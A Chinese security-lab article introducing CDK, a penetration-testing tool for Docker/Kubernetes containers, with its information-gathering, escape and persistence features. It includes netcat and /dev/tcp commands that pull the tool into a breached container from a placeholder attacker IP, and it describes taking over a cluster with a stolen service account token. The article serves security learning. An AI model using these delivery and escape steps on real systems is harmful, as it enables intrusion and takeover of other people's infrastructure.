云安全容器安全扫盲 之 CDK工具介绍与使用

2022-04-06 21:47:44 浏览数 (2)

文章来源|MS08067 安全实验室

声明:

MS08067安全实验室不会对圈内任何机构、公司发起任何舆论攻击、诋毁。也欢迎各界朋友各种形式的合作!

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

GitHub地址:

https://github.com/cdk-team/CDK/

CDK 功能

CDK包括三个功能模块

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

Tool: 修复渗透过程中常用linux命令以及与Docker/K8s API交互命令。

使用场景

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。

针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。

CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要以下几点:

评估容器内部弱点、搜集敏感信息。

提供多种容器逃逸的漏洞利用方式。

提供K8s环境的多种持久化、横向移动方式。

提供原生的进程、网络命令,便于测试者自定义攻击操作。

技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK

如果你的漏洞利用过程允许上传文件,即可直接植入CDK。 如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入:

将CDK下载到你的公网服务器,监听端口:

代码语言:javascript复制
nc -lvp 999 < cdk

在已攻入的目标容器中执行:

代码语言:javascript复制
cat < /dev/tcp/Your IP/Your prot > cdk
chmod a x cdk

使用方法

Evaluate: 容器内部信息收集

[本地信息收集-系统信息]

[本地信息收集-环境变量,敏感进程,服务]

[本地信息收集-可用命令,特权容器]

如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

[本地信息收集-容器挂载]

利用:Procfs目录挂载逃逸

https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs

[本地信息收集-网络namespace隔离]

判断容器是否与宿主机共享Net Namespace, 如果docker以--net=host启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。

[网络信息收集-K8s API Server]

检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。

[网络信息收集-K8s Service Account 认证凭据]

K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据

(/run/secrets/kubernetes.io/serviceaccount/token)

CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account 接管K8s集群。

[网络信息收集-云厂商内置Metadata API]

探测云厂商内置的Metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在Metadata中自定义的信息。

Evaluate术语

代码语言:javascript复制
[Information Gathering - Services]
[Information Gathering - Commands and Capabilities]
[Information Gathering - Mounts]
[Information Gathering - Net Namespace]
[Information Gathering - Sysctl Variables]
[Discovery - K8s API Server]
[Discovery - K8s Service Account]
[Discovery - Cloud Provider Metadata API]

腾讯云、阿里云、实例云数据概述:

https://www.alibabacloud.com/help/zh/doc-detail/49122.htm

https://cloud.tencent.com/document/product/213/4934

0 人点赞